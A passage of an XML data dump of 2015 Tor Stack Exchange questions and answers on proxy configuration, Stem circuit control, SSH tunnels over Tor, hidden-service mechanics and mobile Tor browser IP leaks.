good way to start learning how it's put together. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also wouldn't expect much help from the devs because the basis of their design hinges on it being a temporary environment and wouldn't be interested in supporting a fork. &lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2015-05-31T21:10:38.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6914" PostTypeId="2" ParentId="3589" CreationDate="2015-05-31T21:30:53.120" Score="1" Body="&lt;p&gt;ARM is designed to use the Tor control port to interact with Tor, not manage the Tor service itself. I know that it's also added features to manage starting and stopping the Tor service but that's just for lazy admins. You should start the tor service, connect to it via ARM, and then close both when you no longer need a client. &lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2015-05-31T21:30:53.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6915" PostTypeId="2" ParentId="1259" CreationDate="2015-05-31T22:47:13.617" Score="1" Body="&lt;p&gt;Whonix provides a gateway and a workstation to reduce the risk of accidentally disclosing information out-of-band from the Gateway. In your setup, it appears you're just going to tunnel all traffic over the Tor network? If that's the case, you're at a heightend risk to accidentally send potentially identifying information through Tor on the same circuits that you're performing anonymous activity. &lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2015-05-31T22:47:13.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6916" PostTypeId="2" ParentId="3514" CreationDate="2015-06-01T10:27:43.320" Score="1" Body="&lt;p&gt;TBB by default won't maintain a record of which sites' self-signed certs you've chosen to trust similar to how it does not keep track of your browser history for privacy sake. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can go to Privacy Settings&gt;Remember History to override this which would keep a record of the sites you've visited and therefore possibly keep track of your site certificates. &lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2015-06-01T10:27:43.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6917" PostTypeId="1" AcceptedAnswerId="6924" CreationDate="2015-06-01T12:49:54.550" Score="3" ViewCount="1471" Body="&lt;p&gt;I have a Python script that is configured to connect to 4 different onion services (call them a, b, c, d), and return a value on a page. I'd like to ensure that I create separate circuits to connect to each so that circuit-1 only connects to a and is never used for b,c, or d. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Stem and this is an example they provide for issuing a NEWNYM command to the control protocol and create new circuits.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    with Controller.from_port(port = 9150) as controller:&#xA;        controller.authenticate()&#xA;        controller.signal(Signal.NEWNYM)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I understand this to flush all circuits and re-build new ones. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a better way to specifically control which circuit a Python HTTP request takes? I'd like concurrently make these requests from 4 different circuits at the same time. Basically:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;create new circuit&lt;/li&gt;&#xA;&lt;li&gt;assign circuit to a.onion&lt;/li&gt;&#xA;&lt;li&gt;issue request&lt;/li&gt;&#xA;&lt;li&gt;destroy circuit&lt;/li&gt;&#xA;&lt;li&gt;repeat for b, c, and d.onion&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2015-08-18T22:59:23.353" Title="How to assign a stream to a circuit?" Tags="|circuit|python|stem|stream-isolation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6919" PostTypeId="1" CreationDate="2015-06-01T17:33:02.113" Score="2" ViewCount="58" Body="&lt;h2&gt;What if i run tor trough tor?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I have seen it somewhere stating that it can destroy your anonimity but i doubt it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the other circuit is going to do is protect the end nodes anonimity like its a client, right?&#xA;And running tor to vpn easily links all of my activity to one account even while tor changes its circuit and ip every 10 minutes? I just didnt find that noted. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;{Tor{VPN{Tor{VPN{Tor}}}} will be slow i know that but if the first and the last vpns are malicious could they see that its the same trafic even while its encrypted? And if yes how? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And i need the most anonimity i can get what is the beest way IN YOUR OPINION for that? I dont need stuff like turn of javascript etc just the best way to make my IP anonymous as much as possible.&lt;/p&gt;&#xA;" OwnerUserId="7547" LastEditorUserId="7549" LastEditDate="2015-06-02T15:57:14.600" LastActivityDate="2015-06-02T15:57:14.600" Title="Using TOR multiple times (Tor in Tor)" Tags="|anonymity|vpn|" AnswerCount="0" CommentCount="1" ClosedDate="2015-06-02T09:52:54.060" ContentLicense="CC BY-SA 3.0" />
  <row Id="6921" PostTypeId="2" ParentId="6887" CreationDate="2015-06-02T16:33:10.823" Score="3" Body="&lt;p&gt;This line if very descriptive:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;27-05-2015 10:55:01.356 [WARN] Our clock is 17 hours, 4 minutes behind the time published in the consensus network status document (2015-05-28 03:00:00 UTC).  Tor needs an accurate clock to work correctly. &lt;strong&gt;Please check your time and date settings!&lt;/strong&gt; &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Your clock is not correct. Make sure that you've set your clock and your timezone to be appropriate. &lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2015-06-02T16:33:10.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6922" PostTypeId="1" CreationDate="2015-06-03T02:06:06.483" Score="2" ViewCount="946" Body="&lt;p&gt;I read some of the answers on the forum trying to understand how a server talks back to client through TOR, and from what I understand nodes keep a record for a while of the next and previous node to forward the data. If a particular node is a part of many circuits, would it keep data for each circuit? &lt;/p&gt;&#xA;" OwnerUserId="7553" LastActivityDate="2016-05-30T14:42:09.757" Title="How does the exit node relay data back to originator?" Tags="|relays|exit-relays|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6924" PostTypeId="2" ParentId="6917" CreationDate="2015-06-03T15:29:32.093" Score="4" Body="&lt;p&gt;Nice timing, we just expanded our tutorials around this! For this you should use &lt;code&gt;new_circuit()&lt;/code&gt; and &lt;code&gt;attach_stream()&lt;/code&gt; rather than NEWNYM. For an example of doing this see...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stem.torproject.org/tutorials/to_russia_with_love.html#custom-path-selection&quot; rel=&quot;nofollow&quot;&gt;https://stem.torproject.org/tutorials/to_russia_with_love.html#custom-path-selection&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="172" LastEditorUserId="88" LastEditDate="2015-08-18T22:59:23.353" LastActivityDate="2015-08-18T22:59:23.353" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6925" PostTypeId="1" CreationDate="2015-06-03T22:43:05.200" Score="3" ViewCount="1264" Body="&lt;p&gt;What exactly is considered best practice when setting up an open SSH server as a Tor hidden service? I do it this way, but I feel like there's a better way of doing this: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just set SSH up as a &lt;strong&gt;HiddenServiceDir&lt;/strong&gt; under &lt;strong&gt;/var/lib/tor/ssh&lt;/strong&gt;, find my assigned hostname and add these lines to my &lt;strong&gt;~/.ssh/config&lt;/strong&gt;&#xA;&lt;pre&gt;&lt;code&gt;Host myhost&#xA;HostName d6frsudqtx123vxf.onion&#xA;ProxyCommand socat STDIO SOCKS4A:127.0.0.1:%h:%p,socksport=9050&#xA;&lt;/pre&gt;&lt;/code&gt;&#xA;Is there a better or more secure way of doing this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Regards&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="7552" LastActivityDate="2015-06-03T22:43:05.200" Title="OpenSSH Server as Tor Hidden Service" Tags="|ssh|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6928" PostTypeId="1" AcceptedAnswerId="6933" CreationDate="2015-06-04T13:54:27.367" Score="1" ViewCount="855" Body="&lt;p&gt;I am looking how to bypass pass proxy using tor and torctl, I looked on various steps and wrote this script in python.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After starting tor, ideally this should work&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;proxy_support = urllib2.ProxyHandler({&quot;http&quot; : &quot;127.0.0.1:8118&quot;} )&#xA;opener = urllib2.build_opener(proxy_support)&#xA;urllib2.install_opener(opener)&#xA;#urllib2.urlopen('http://www.google.fr')&#xA;data = json.load(urllib2.urlopen(&quot;https://www.google.co.in/trends/hottrends/hotItems?geo=IN&amp;amp;mob=0&amp;amp;hvsm=0&quot;))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which again gives this message :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;File &quot;/usr/lib/python2.7/urllib2.py&quot;, line 528, in http_error_default&#xA;    raise HTTPError(req.get_full_url(), code, msg, hdrs, fp)&#xA;urllib2.HTTPError: HTTP Error 503: Service Unavailable&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have already started tor and enabled control port using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tor --controlport 9051&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;after using tor as  tor as a SOCKS proxy.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tor SOCKSPort 1080&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;python:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; import urllib2&#xA;&amp;gt;&amp;gt;&amp;gt; proxy_support = urllib2.ProxyHandler({&quot;http&quot; : &quot;127.0.0.1:1080&quot;})&#xA;&amp;gt;&amp;gt;&amp;gt; opener = urllib2.build_opener(proxy_support)&#xA;&amp;gt;&amp;gt;&amp;gt; urllib2.install_opener(opener)&#xA;&amp;gt;&amp;gt;&amp;gt; import json &#xA;&amp;gt;&amp;gt;&amp;gt; data = json.load(urllib2.urlopen(&quot;https://www.google.co.in/trends/hottrends/hotItems?geo=IN&amp;amp;mob=0&amp;amp;hvsm=0&quot;))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which again gives same error message. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to get rid of this?&lt;/p&gt;&#xA;" OwnerUserId="7565" LastActivityDate="2015-06-04T19:52:48.447" Title="Bypassing google server using tor proxy is not possible" Tags="|google|proxy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6929" PostTypeId="1" CreationDate="2015-06-04T14:23:30.997" Score="3" ViewCount="292" Body="&lt;p&gt;I'm using the Anonabox as internet connection. As its hardware connects to Tor, it is recommended to activate 'transparent torification' in the Tor browser to avoid running everything through Tor twice (resulting in speed loss). All documentation I could find simply states clicking the onion button and selecting the box 'transparent torification'. However, I can't find that option anywhere...&lt;/p&gt;&#xA;" OwnerUserId="7566" LastActivityDate="2015-12-12T23:17:10.460" Title="transparent torification" Tags="|configuration|" AnswerCount="1" CommentCount="3" ClosedDate="2015-12-14T07:50:11.017" ContentLicense="CC BY-SA 3.0" />
  <row Id="6930" PostTypeId="1" CreationDate="2015-06-04T15:50:31.390" Score="2" ViewCount="6985" Body="&lt;p&gt;Greeting's, given recent events of FBI taking down silk road 2.0 and 3.0. I have few questions, please keep in mind that i'm not technologically too sound.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is I2P better than TOR?&lt;/li&gt;&#xA;&lt;li&gt;Can i have a system which will use I2P + TOR? Something like whonix (although whonix only uses TOR but has a dual system model - so can i configure one system to use i2p to connect to TOR gateway part of whonix OR can i have i2p on a system and use TOR browser bundle?)? does that configuration make anonymity stronger?&lt;/li&gt;&#xA;&lt;li&gt;Is this useful or stupid - install TOR on a system and connect to a VPN service provider and surf? (i'm pretty sure it's dumb since VPN service provider will keep a record of inbound connections and exit will show directly to wherever I've tried to surf too plus the part of paying the service provider leaves a trail). So secondly, can i use TOR to connect to a VPN service provider and use TOR on the system to surf further? If the server is fully rented to me? (again stupid, since he can monitor the server; but at this point I am asking this to ensure my knowledge isn't fully degraded or if i'm not missing anything.)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Lastly, if anonymity is paramount; Which would be the best system / protocol suite to use (including combination of) to use?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: I must mention that my question is in terms of accessing clearnet using any of the above mentioned protocols.&lt;/p&gt;&#xA;" OwnerUserId="7567" LastEditorUserId="7567" LastEditDate="2015-06-04T16:03:10.490" LastActivityDate="2017-06-04T14:16:55.420" Title="Tor + I2P on a system and Is I2P better than TOR?" Tags="|tor-browser-bundle|anonymity|i2p|darknet|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6931" PostTypeId="2" ParentId="6930" CreationDate="2015-06-04T19:28:28.803" Score="2" Body="&lt;p&gt;There are a lot of questions here. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;It's up to you to decide which you prefer. This is a Tor related stackexchange so even if &quot;better&quot; was quantifiable, it would be biased. Tor is not I2P, and vis versa. It looks like I2P has the difference in their design &lt;a href=&quot;https://geti2p.net/en/comparison/tor&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. Good luck. &lt;/li&gt;&#xA;&lt;li&gt;TAILS did this for a while until a vulnerability in I2P was found that compromised the entire TAILS distro. &lt;/li&gt;&#xA;&lt;li&gt;It depends. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;All of these questions should be based on &quot;What is my threat model.&quot; Know what you're concerned about, what you want to feel free to do, what would stop you from doing that, and what are their capabilities. There is no single answer to your question. &lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2015-06-04T19:28:28.803" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6932" PostTypeId="2" ParentId="6929" CreationDate="2015-06-04T19:49:23.107" Score="0" Body="&lt;p&gt;IIRC this was an old Vidalia feature. The new way of doing this is to use the &lt;code&gt;TOR_SKIP_LAUNCH=1&lt;/code&gt; as a command line argument for starting the Tor Browser. You can read more about the change here: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/6009#comment:14&quot; rel=&quot;nofollow&quot;&gt;https://trac.torproject.org/projects/tor/ticket/6009#comment:14&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2015-06-04T19:49:23.107" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6933" PostTypeId="2" ParentId="6928" CreationDate="2015-06-04T19:52:48.447" Score="0" Body="&lt;p&gt;Tor creates a SOCKS proxy. You're using an HTTP proxy which is not the same proxy type. You'll need to configured urllib2 to use a SOCKS proxy instead. Alternatively, you could use Privoxy to host an HTTP proxy on port 1080 and then tunnels to the SOCKS proxy that Tor is running. &lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2015-06-04T19:52:48.447" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6934" PostTypeId="2" ParentId="6922" CreationDate="2015-06-04T20:03:12.010" Score="1" Body="&lt;p&gt;In the same way that a TCP response knows how to route a response back to the originating host, Tor maintains streams. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the exit node sends a TCP request to a service, the service responds and the exit node attaches that response to the appropriate Tor StreamID that originally made the request. This is then routed back using the exact same path of the original request because each node will keep a circuit &quot;open&quot; (meaning keep a copy of the encryption keys for that circuit). The nodes do keep the circuit keys until either they expire after a certain period of time, or the client issues a &quot;DESTROY&quot; command to the circuit.&lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/tor-spec.txt#n1099&quot; rel=&quot;nofollow&quot;&gt;1&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2015-06-04T20:03:12.010" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6935" PostTypeId="2" ParentId="6879" CreationDate="2015-06-04T22:26:51.607" Score="2" Body="&lt;p&gt;When a hidden service is first started up, it chooses a few random introduction points (IPs), makes &quot;forward circuit&quot; to them (e.g. 3 node circuit), and requests that they host the hidden service descriptor. At that point, the IPs do not know the original location of the hidden service, just that one exists and they have a path to follow to return information to. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a client does a lookup via the HSDIR, they are pointed to one of those IPs, which in turn make a connection back to the Hidden Service itself following the circuits that were previously established. Then they establish a rendezvous point (RP) which is beyond your question. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Throughout this flow, the IPs and the hidden services are both anonymous from one another. &lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2015-06-04T22:26:51.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6939" PostTypeId="1" CreationDate="2015-06-05T18:52:59.340" Score="19" ViewCount="173584" Body="&lt;p&gt;I'm trying to use Tor as a proxy, to make other apps connect to the internet through the tor network. With Tor running and connected I opened another browser, and in the proxy settings I typed 127.0.0.1 port 9150, but when I load any page it says the proxy refused connection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why it does not work?&lt;/p&gt;&#xA;" OwnerUserId="7580" LastActivityDate="2023-03-22T18:42:17.387" Title="Configure tor as proxy" Tags="|configuration|web-proxy|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6940" PostTypeId="1" CreationDate="2015-06-05T19:41:05.370" Score="0" ViewCount="214" Body="&lt;p&gt;The TOR documentation is not clear to me. Say I have a hidden service with a &lt;code&gt;.onion&lt;/code&gt; address, can I use this service to fetch a webpage?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To clarify my question, I have installed the Tor openshift &lt;a href=&quot;https://github.com/xkollar/tor-openshift&quot; rel=&quot;nofollow noreferrer&quot;&gt;cartridge&lt;/a&gt;. It has generated a &lt;code&gt;.onion&lt;/code&gt; address for the hidden service. I was wondering whether I could use this hidden service to fetch a page online anonymously.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created a &lt;a href=&quot;https://stackoverflow.com/questions/30681050/how-to-connect-to-hidden-service-from-node-js-using-socks4a&quot;&gt;related question&lt;/a&gt; on StackOverflow.&lt;/p&gt;&#xA;" OwnerUserId="7457" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:21.987" LastActivityDate="2015-06-06T09:17:06.747" Title="Can I fetch a webpage through a hidden service?" Tags="|onion-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6942" PostTypeId="2" ParentId="6940" CreationDate="2015-06-06T07:20:11.060" Score="1" Body="&lt;p&gt;A hidden service can be, but it is not limited to, a web service. A .onion site is much like any .com or .net .org site, can provide the same capabilities. The only difference is that .onion domains can only be reached through the Tor network, while they enjoy the privacy and the anonymity that Tor provides.&lt;/p&gt;&#xA;" OwnerUserId="6597" LastActivityDate="2015-06-06T07:20:11.060" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6944" PostTypeId="1" AcceptedAnswerId="8615" CreationDate="2015-06-06T09:10:43.200" Score="1" ViewCount="2995" Body="&lt;p&gt;I am using Tails live OS and i am trying to create ssh tunnel to remote server and forward Tor browser through this tunnel. I am creating the tunnel with this command:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;ssh -i keyfile user@xx-xx-xx-xx -D 9999&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SSH is configured to use Tor by default so the ssh tunnel is created over Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in Tor browser proxy configuration i am changing the port from 9150 to 9999. The proxy type is Socks5 and the host is 127.0.0.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when i try to load webpage the browser display error message: &quot;the proxy server is refusing connections&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ssh command is correct, in verbose mode it doesn't display any errors when connecting to the server. The browser proxy configuration settings are also correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to find what is blocking the port forwarding? How to troubleshoot the problem? &lt;/p&gt;&#xA;" OwnerUserId="7584" LastEditorUserId="7584" LastEditDate="2015-06-06T09:47:36.973" LastActivityDate="2015-09-07T14:50:21.770" Title="Tails OS - Unable to create ssh tunnel with port forwarding over tor" Tags="|tails|ssh|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6945" PostTypeId="1" CreationDate="2015-06-06T10:54:24.300" Score="0" ViewCount="54" Body="&lt;p&gt;I have an extra adsl connection that I would like to dedicate to TOR.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like it to be very low power so will use a mixture of Rpi2 B(newer model) and B+ computers hooked up to ethernet switch and powered using a 7 port usb 2.0 hub.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to know&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is it possible to run multiple relays on the same static WAN IP?&lt;/li&gt;&#xA;&lt;li&gt;Will I need to forward different OR and DirectPorts for each system on my adsl router?&lt;/li&gt;&#xA;&lt;li&gt;Is it benificial to the tor network in anyway by having this set up?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The reason for using more than one relay is because I already have one set up on my primary internet connection and no matter how much bandwidth I allocate to it, it only downloads 100Mb and uploads half that a day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I intend to use 5 Rasperry Pis running headless raspbian or arch linux to accomplish this.&lt;/p&gt;&#xA;" OwnerUserId="7586" LastActivityDate="2015-06-06T10:54:24.300" Title="Mutliple tor exit relays on the same router and dedicated WAN IP?" Tags="|exit-relays|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6947" PostTypeId="2" ParentId="4421" CreationDate="2015-06-06T13:57:06.363" Score="1" Body="&lt;p&gt;This is very frustrating, I know. After two hours of deleting and downloading, here is the solution:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;right-click the .exe file&lt;/li&gt;&#xA;&lt;li&gt;Open &quot;Properties&quot;&lt;/li&gt;&#xA;&lt;li&gt;At the bottom, you will see a checkbox that says &quot;this seems to come from another computer..&quot; then check to allow the file to run.&lt;/li&gt;&#xA;&lt;li&gt;Tor starts.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;cheers&lt;/p&gt;&#xA;" OwnerUserId="7588" LastActivityDate="2015-06-06T13:57:06.363" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6948" PostTypeId="2" ParentId="3272" CreationDate="2015-06-06T14:02:03.533" Score="1" Body="&lt;p&gt;I experienced the same issue... deleted and downloaded twice before I discovered the problem.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;download the tor bundle&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;right-click the application file&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;At the bottom, click &quot;Properties&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You will see a notice that says &quot;This program seems to have come from another computer..&quot; click the box to enable.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now, double click the file, Tor install modal opens on screen.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;cheers&lt;/p&gt;&#xA;" OwnerUserId="7588" LastActivityDate="2015-06-06T14:02:03.533" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6950" PostTypeId="2" ParentId="6939" CreationDate="2015-06-06T19:33:05.060" Score="14" Body="&lt;p&gt;&lt;strong&gt;Warning:&lt;/strong&gt; be extremely careful about sending traffic through tor when not using the tor browser. Any unencrypted traffic will be seen by a potentially malicious exit node. Using any other browser besides tor browser to browse the internet is highly discouraged and will likely not provide any anonymity because your browser will give up your real ip address or enough information to fingerprint you uniquely.&lt;/p&gt;&#xA;&lt;p&gt;That said, if you are absolutely sure that you want to use the tor proxy manually, read this faq entry which will answer your question.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#TBBSocksPort&quot; rel=&quot;noreferrer&quot;&gt;https://www.torproject.org/docs/faq.html.en#TBBSocksPort&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;If you are trying to use some external application with Tor, step zero should be to &lt;a href=&quot;https://www.torproject.org/download/download.html.en#warning&quot; rel=&quot;noreferrer&quot;&gt;reread the set of warnings&lt;/a&gt; for ways you can screw up. Step one should be to try to use a SOCKS proxy rather than an HTTP proxy. Typically Tor listens for SOCKS connections on port 9050. Tor Browser listens on port 9150.&lt;/p&gt;&#xA;&lt;p&gt;If your application doesn't support SOCKS proxies, feel free to install &lt;a href=&quot;http://www.privoxy.org/&quot; rel=&quot;noreferrer&quot;&gt;privoxy&lt;/a&gt;. However, please realize that this approach is not recommended for novice users. Privoxy has an example configuration of Tor and Privoxy.&lt;/p&gt;&#xA;&lt;p&gt;If you're unable to use the application's native proxy settings, all hope is not lost. See &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#CantSetProxy&quot; rel=&quot;noreferrer&quot;&gt;below&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1172" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2015-06-06T19:33:05.060" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6952" PostTypeId="1" CreationDate="2015-06-06T19:39:27.293" Score="0" ViewCount="1046" Body="&lt;p&gt;At first glance this seems like it might be more complex than worrying about a computer. With a computer, a proxy like tor takes care of the ip and mac spoofing takes care of the rest. Android has more identification numbers such as serial numbers, ANDROID_ID's, ESN's and I'm assuming others. Does one need to worry about any other numbers besides IP and MAC being transmitted and potentially being used to identify them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, if one were to turn on airplane mode, activate orbot, ensure all data went directly through orbot, installed a softphone app, and coupled the softphone with some sort of virtual phone service, would this in theory allow for phone calls to be made without advertising identity and location to every cell tower in the area?&lt;/p&gt;&#xA;" OwnerUserId="7592" LastEditorUserId="3788" LastEditDate="2015-06-09T09:24:58.977" LastActivityDate="2015-09-24T09:32:32.707" Title="what are all of the ways an android can be traced/tracked/identified" Tags="|android|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6953" PostTypeId="2" ParentId="233" CreationDate="2015-06-06T20:30:20.977" Score="1" Body="&lt;p&gt;There are now many Tor Browsers on the iOS App Store, some are clones/forks of the open source Onion Browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To address your release cycle question, iOS apps currently have a two week review period. On top of that a new tor version would have to be incorporated into the app and tested, so it will be three weeks to release. That said, iOS owners update their software promptly, or automatically, so the new version would be in use within a month. TOR browser bundle users normally take longer to upgrade, and there is a large user base on versions older than the most recent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IOS TOR browsers are all built using the iOS components UIWebView and NSURLProtocol. UIWebView is the web component. NSURLProtocol is used to redirect web requests to TOR, or any other app specific code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The HTML5 geolocation API can not be disabled in UIWebView but it will prompt the user each time the page requests the location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An important issue when deciding whether an iOS app can be trusted is whether you trust the developer. The only suggestion here is to periodically check the app using IP address tools including the site referenced below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, iOS browsers can leak the IP address because of a bug, or feature, of UIWebView which has it bypass NSURLProtocol for HTML5 video and XMLHTTPRequests (used for AJAX web sites).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://xordern.net/ip-leakage-of-mobile-tor-browsers.html&quot; rel=&quot;nofollow&quot;&gt;Xorden.net&lt;/a&gt; has documented examples of iOS TOR browsers that leak the user's real IP address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One iOS browser that doesn't suffer from this IP address leakage issue due to HTML5 video tags or XMLHTTPRequests is &lt;a href=&quot;http://www.ebfsecure.com/safe-browser/&quot; rel=&quot;nofollow&quot;&gt;Safe Browser Secure&lt;/a&gt;. (Disclosure: this is mine.) Some other iOS TOR browsers block HTML5 video completely.&lt;/p&gt;&#xA;" OwnerUserId="7593" LastEditorUserId="7593" LastEditDate="2015-06-08T06:48:07.847" LastActivityDate="2015-06-08T06:48:07.847" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
